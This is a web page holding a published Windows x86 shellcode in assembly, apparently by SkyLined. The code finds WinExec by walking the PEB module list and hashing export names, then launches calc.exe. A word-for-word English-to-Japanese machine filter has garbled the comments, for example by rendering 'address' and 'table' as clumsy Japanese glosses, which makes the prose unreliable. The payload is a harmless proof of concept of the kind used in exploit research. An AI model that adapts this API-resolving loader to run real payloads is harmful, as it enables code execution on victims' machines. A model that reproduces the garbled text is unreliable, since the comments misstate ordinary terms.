このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。 |
; Copyright (c) 2009-2010, Berend-Jan "SkyLined" Wever <berendjanwever@gmail.com> ; 事業/計画(する) homepage: http://code.google.com/p/w32-dl-loadlib-shellcode/ ; All 権利s reserved. See COPYRIGHT.txt for 詳細(に述べる)s. BITS 32 ; Windows x86 null-解放する/自由な shellcode that 遂行する/発効させるs calc.exe. ; 作品 in any 使用/適用 for Windows 5.0-7.0 all service packs. ; (See http://skypher.com/wiki/索引.php/切り開く/タクシー/不正アクセスing/Shellcode). ; This 見解/翻訳/版 uses 16-bit hashes. %含む 'w32-exec-calc-shellcode-hash-名簿(に載せる)/表(にあげる).asm' %define B2W(b1,b2) (((b2) << 8) + (b1)) %define W2DW(w1,w2) (((w2) << 16) + (w1)) %define B2DW(b1,b2,b3,b4) (((b4) << 24) + ((b3) << 16) + ((b2) << 8) + (b1)) %ifdef STACK_ALIGN AND SP, 0xFFFC %endif find_hash: ; Find ntdll's InInitOrder 名簿(に載せる)/表(にあげる) of modules: XOR ESI, ESI ; ESI = 0 PUSH ESI ; Stack = 0 MOV ESI, [FS:ESI + 0x30] ; ESI = &(PEB) ([FS:0x30]) MOV ESI, [ESI + 0x0C] ; ESI = PEB->Ldr MOV ESI, [ESI + 0x1C] ; ESI = PEB->Ldr.InInitOrder (first module) next_module: ; Get the baseaddress of the 現在の module and find the next module: MOV EBP, [ESI + 0x08] ; EBP = InInitOrder[X].base_address MOV ESI, [ESI] ; ESI = InInitOrder[X].flink == InInitOrder[X+1] get_proc_address_loop: ; Find the PE header and 輸出(する) and 指名するs (米)棚上げする/(英)提議するs of the module: MOV EBX, [EBP + 0x3C] ; EBX = &(PE header) MOV EBX, [EBP + EBX + 0x78] ; EBX = 相殺する(輸出(する) (米)棚上げする/(英)提議する) ADD EBX, EBP ; EBX = &(輸出(する) (米)棚上げする/(英)提議する) MOV ECX, [EBX + 0x18] ; ECX = number of 指名する pointers JCXZ next_module ; No 指名する pointers? Next module. next_function_loop: ; Get the next 機能(する)/行事 指名する for hashing: MOV EDI, [EBX + 0x20] ; EDI = 相殺する(指名するs (米)棚上げする/(英)提議する) ADD EDI, EBP ; EDI = &(指名するs (米)棚上げする/(英)提議する) MOV EDI, [EDI + ECX * 4 - 4] ; EDI = 相殺する(機能(する)/行事 指名する) ADD EDI, EBP ; EDI = &(機能(する)/行事 指名する) XOR EAX, EAX ; EAX = 0 CDQ ; EDX = 0 hash_loop: ; Hash the 機能(する)/行事 指名する and compare with requested hash XOR DL, [EDI] ROR DX, BYTE hash_ror_value SCASB JNE hash_loop CMP DX, hash_kernel32_WinExec LOOPNE next_function_loop ; Not the 権利 hash and 機能(する)/行事s left in module? Next 機能(する)/行事 JNE next_module ; Not the 権利 hash and no 機能(する)/行事s left in module? Next module ; 設立する the 権利 hash: get the 演説(する)/住所 of the 機能(する)/行事: MOV EDX, [EBX + 0x24] ; ESI = 相殺する ordinals (米)棚上げする/(英)提議する ADD EDX, EBP ; ESI = &oridinals (米)棚上げする/(英)提議する MOVZX EDX, WORD [EDX + 2 * ECX] ; ESI = ordinal number of 機能(する)/行事 MOV EDI, [EBX + 0x1C] ; EDI = 相殺する 演説(する)/住所 (米)棚上げする/(英)提議する ADD EDI, EBP ; EDI = &演説(する)/住所 (米)棚上げする/(英)提議する ADD EBP, [EDI + 4 * EDX] ; EBP = &(機能(する)/行事) ; create the calc.exe string PUSH B2DW('.', 'e', 'x', 'e') ; Stack = ".exe", 0 PUSH B2DW('c', 'a', 'l', 'c') ; Stack = "calc.exe", 0 PUSH ESP ; Stack = &("calc.exe"), "calc.exe", 0 XCHG EAX, [ESP] ; Stack = 0, "calc.exe", 0 PUSH EAX ; Stack = &("calc.exe"), 0, "calc.exe", 0 CALL EBP ; WinExec(&("calc.exe"), 0); INT3 ; 衝突,墜落